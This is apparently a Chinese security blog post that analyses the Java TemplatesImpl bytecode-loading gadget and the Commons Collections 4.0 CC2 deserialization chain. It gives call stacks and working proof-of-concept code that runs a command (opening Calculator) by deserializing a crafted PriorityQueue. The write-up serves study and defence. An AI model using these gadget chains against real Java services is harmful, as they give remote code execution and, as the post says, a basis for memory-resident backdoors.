公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把BHSec设为星标,否则可能就看不到啦!
-------------------------------------------------------
TemplatesImpl分析
这条链是非常重要的一条反序列化链,可以让我们实现任意加载类字节码,也就是Java中的“代码注入”。这也是后续注入内存马等等操作的基石。
该类的路径是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
在我的机器上的绝对路径是/Library/Java/JavaVirtualMachines/jdk-1.8.jdk/Contents/Home/src.zip!/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
该类,本意是用于处理XSLT转换的。XSLT是一种用于将XML文档转换为其他格式(如HTML、文本或其他XML结构)的语言。但是现在因为其会调用defineClass
方法,而存在严重的安全隐患。
利用链的调用栈如下
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()->
首先,想要调用defineClass就需要找到谁有尝试调用过它,于是发现在TemplatesImpl
中存在一个内部类TransletClassLoader
有调用过defineClass函数。
之后向上追溯发现是TemplatesImpl#defineTransletClasses
函数调用了TransletClassLoader
的构造方法。
继续向上找到是TemplatesImpl#getTransletInstance
方法调用的TemplatesImpl#defineTransletClasses
之后继续往上就可以看到TemplatesImpl#newTransformer
是一个public方法,有调用到getTransletInstance
方法。
简单一提,这里还有一个方法就是getOutputProperties
也调用了newTransformer
方法所以其实可以多加一层。
这里我们来直接尝试调用templates.getOutputProperties();
函数来debug
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
templates.getOutputProperties();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
在走到TemplatesImpl#getTransletInstance
函数的时候会判断_name是否为空,所以应该通过反射的方对_name进行赋值。
于是payload就会变成如下
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "seizer");
templates.getOutputProperties();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
之后走到下一步的判断_bytecodes是否为空,所以我们要通过反射的方式对其进行赋值。
根据代码来看后边还有一份检验权限的需要使用来给对象赋值,来通过校验。
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
之后进行加载的类字节码就是bytecodes的内容,最终POC如下。
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass testCtClass = classPool.makeClass("TestCtClass");
testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor ctConstructor = testCtClass.makeClassInitializer();
ctConstructor.insertBefore("Runtime.getRuntime().exec("open -a Calculator");");
byte[] bytes = testCtClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_name", "seizer");
templates.getOutputProperties();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
CC2分析
CC2的版本是4.0版本才存在漏洞的
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
先将调用链给贴出来
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify
PriorityQueue.siftDown
PriorityQueue.siftDownUsingComparator
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
cc2.newInstance()
exec() Runtime.
其实根据上边的TemplatesImpl的分析,知道了只要能调用到TemplatesImpl.newTransformer()
函数就可以自定义的加载恶意类了。
首先写一个最后的POC
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass testCtClass = classPool.makeClass("TestCtClass");
testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
CtConstructor ctConstructor = testCtClass.makeClassInitializer();
ctConstructor.insertBefore("Runtime.getRuntime().exec("open -a Calculator");");
byte[] bytes = testCtClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_name", "seizer");
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
setFieldValue(queue,"comparator", transformingComparator);
setFieldValue(queue,"queue", new Object[]{templates,templates});
serialize(queue,"cc2.ser");
deserialize("cc2.ser");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
private static void serialize(Object obj, String filename) throws IOException {
try (ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filename))) {
objectOutputStream.writeObject(obj);
}
}
private static Object deserialize(String filename) throws IOException, ClassNotFoundException {
try (ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename))) {
return objectInputStream.readObject();
}
}
}
我们观察InvokerTransformer#transform
的函数的代码,这里根据我们输入的内容直接去执行函数,所以我们这里可以直接输入TemplatesImpl
的类的newTransformer
函数。也就是在payload中编写了
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
现在就需要一个调用了InvokerTransformer#transform
函数的入口了,于是就可以发现TransformingComparator#compare
有执行transform
函数,所以在payload中编写了
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
可以看到obj1就已经直接是TemplatesImpl
类了,而this.transformer
就是InvokerTransformer
于是继续往上找想要寻找谁有调用过TransformingComparator#compare
就可以找到其实有一条利用链条。
PriorityQueue.readObject()
PriorityQueue.heapify
PriorityQueue.siftDown
PriorityQueue.siftDownUsingComparator
在new了PriorityQueue对象之后,其实本身并不会调用到TransformingComparator的函数,但是可以通过反射的方式修改PriorityQueue对象的属性,来强行进入反序列化链。这两行代码将queue对象的comparator属性修改成了transformingComparator对象;将queue对象的queue属性修改成了templates的对象数组。
setFieldValue(queue,"comparator", transformingComparator);
setFieldValue(queue,"queue", new Object[]{templates,templates});
于是当执行到heapify函数的时候this对象的两个元素均是TemplatesImpl类的对象,也就是我们通过反射设置的。
之后再进入到siftDownUsingComparator函数的时候comparator对象直接就是transformingComparator,根据我们上边的分析需要执行到transformingComparator#compare
函数就可以继续进行反序列化链。
payload中通过反射让transformingComparator#compare
的参数是TemplatesImpl
对象,直接进行反序列化利用。
原文始发于微信公众号(BH安全):CC2和TemplatesImpl简单分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论